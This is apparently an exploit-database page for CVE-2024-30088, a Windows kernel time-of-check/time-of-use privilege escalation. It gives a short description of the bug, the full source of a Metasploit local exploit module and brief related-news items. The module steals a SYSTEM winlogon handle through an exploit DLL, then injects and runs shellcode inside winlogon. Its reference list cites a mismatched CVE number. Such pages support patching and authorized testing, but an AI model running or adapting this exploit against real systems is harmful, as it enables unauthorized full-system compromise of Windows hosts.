Headline
Microsoft Windows TOCTOU Local Privilege Escalation
CVE-2024-30088 is a Windows kernel elevation of privilege vulnerability which affects many recent versions of Windows 10, Windows 11 and Windows Server 2022. The vulnerability exists inside the function called AuthzBasepCopyoutInternalSecurityAttributes specifically when the kernel copies the _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION of the current token object to user mode. When the kernel performs the copy of the SecurityAttributesList, it sets up the list of the SecurityAttributes structure directly to the user supplied pointed. It then calls RtlCopyUnicodeString and AuthzBasepCopyoutInternalSecurityAttributeValues to copy out the names and values of the SecurityAttribute leading to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection include Msf::Post::Windows::Version include Msf::Exploit::Retry prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes', 'Description' => %q{ CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10, Windows 11 and Windows Server 2022. The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute's structure directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and `AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function. }, 'Author' => [ 'tykawaii98', # PoC (Bùi Quang Hiếu) 'jheysel-r7' # msf module ], 'References' => [ [ 'URL', 'https://github.com/tykawaii98/CVE-2024-30088'], [ 'CVE', '2024-30038'] ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Privileged' => true, 'SessionTypes' => [ 'meterpreter' ], 'Arch' => [ ARCH_X64 ], 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DisclosureDate' => '2024-06-11', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, ], 'Reliability' => [UNRELIABLE_SESSION] # It should return a session on the first run although has the potential to fail. }, # After the first run the original session will usually die if the module is rerun against the same session. 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_sys_process_get_processes stdapi_railgun_api stdapi_sys_process_memory_allocate stdapi_sys_process_memory_protect stdapi_sys_process_memory_read stdapi_sys_process_memory_write ] } } ) ) end def target_compatible?(version) # NOTE: Win10_1607 = Server2016 and Win10_1809 = Server2019. Both Server and Desktop version are supposed to be affected. return true if version.build_number.between?(Msf::WindowsVersion::Win10_1507, Rex::Version.new('10.0.10240.20680')) || version.build_number.between?(Msf::WindowsVersion::Win10_1607, Rex::Version.new('10.0.14393.7070')) || version.build_number.between?(Msf::WindowsVersion::Win10_1809, Rex::Version.new('10.0.17763.5936')) || version.build_number.between?(Msf::WindowsVersion::Win10_21H2, Rex::Version.new('10.0.19044.4529')) || version.build_number.between?(Msf::WindowsVersion::Win10_22H2, Rex::Version.new('10.0.19045.4529')) || version.build_number.between?(Msf::WindowsVersion::Win11_21H2, Rex::Version.new('10.0.22000.3019')) || version.build_number.between?(Msf::WindowsVersion::Win11_22H2, Rex::Version.new('10.0.22621.3737')) || version.build_number.between?(Msf::WindowsVersion::Win11_23H2, Rex::Version.new('10.0.22631.3737')) || version.build_number.between?(Msf::WindowsVersion::Server2022, Rex::Version.new('10.0.20348.2522')) || version.build_number.between?(Msf::WindowsVersion::Server2022_23H2, Rex::Version.new('10.0.25398.950')) false end def check return Exploit::CheckCode::Safe('Non Windows systems are not affected') unless session.platform == 'windows' version = get_version_info return Exploit::CheckCode::Appears("Version detected: #{version}") if target_compatible?(version) CheckCode::Safe("Version detected: #{version}") end def get_winlogon_pid processes = client.sys.process.get_processes winlogon_pid = nil processes.each do |process| if process['name'].downcase == 'winlogon.exe' winlogon_pid = process['pid'] break end end winlogon_pid end def get_winlogon_handle pid = session.sys.process.getpid process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) address = process_handle.memory.allocate(8) thread = execute_dll( ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-30088', 'CVE-2024-30088.x64.dll'), address, pid ) calls = [ ['kernel32', 'WaitForSingleObject', [ thread.handle, 20000 ] ], ['kernel32', 'GetExitCodeThread', [ thread.handle, 4 ] ], ] results = session.railgun.multi(calls) winlogon_handle = nil if results.last['lpExitCode'] == 0 print_good('The exploit was successful, reading SYSTEM token from memory...') current_memory = process_handle.memory.read(address, 8) winlogon_handle = current_memory.unpack('Q<').first end session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE) winlogon_handle end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end version = get_version_info unless target_compatible?(version) fail_with(Failure::NoTarget, "The exploit does not support this version of Windows: #{version}") end winlogon_handle = get_winlogon_handle fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon handle') unless winlogon_handle print_good("Successfully stole winlogon handle: #{winlogon_handle}") winlogon_pid = get_winlogon_pid fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon pid') unless winlogon_pid print_good("Successfully retrieved winlogon pid: #{winlogon_pid}") host = session.sys.process.new(winlogon_pid, winlogon_handle) shellcode = payload.encoded shell_addr = host.memory.allocate(shellcode.length) host.memory.protect(shell_addr) if host.memory.write(shell_addr, shellcode) < shellcode.length fail_with(Failure::UnexpectedReply, 'Failed to write shellcode') end vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{winlogon_pid})") thread = host.thread.create(shell_addr, 0) unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread) fail_with(Failure::UnexpectedReply, 'Unable to create thread') end endend
Related news
Hi there! Here’s your quick update on the latest in cybersecurity. Hackers are using new tricks to break into systems we thought were secure—like finding hidden doors in locked houses. But the good news? Security experts are fighting back with smarter tools to keep data safe. Some big companies were hit with attacks, while others fixed their vulnerabilities just in time. It's a constant battle.
A MOIS-aligned threat group has been using Microsoft Exchange servers to exfiltrate sensitive data from Gulf-state government agencies.
The Iranian threat actor known as OilRig has been observed exploiting a now-patched privilege escalation flaw impacting the Windows Kernel as part of a cyber espionage campaign targeting the U.A.E. and the broader Gulf region. "The group utilizes sophisticated tactics that include deploying a backdoor that leverages Microsoft Exchange servers for credentials theft, and exploiting vulnerabilities
The lone critical security issue is a remote code execution vulnerability due to a use-after-free issue in the HTTP handling function of Microsoft Message Queuing.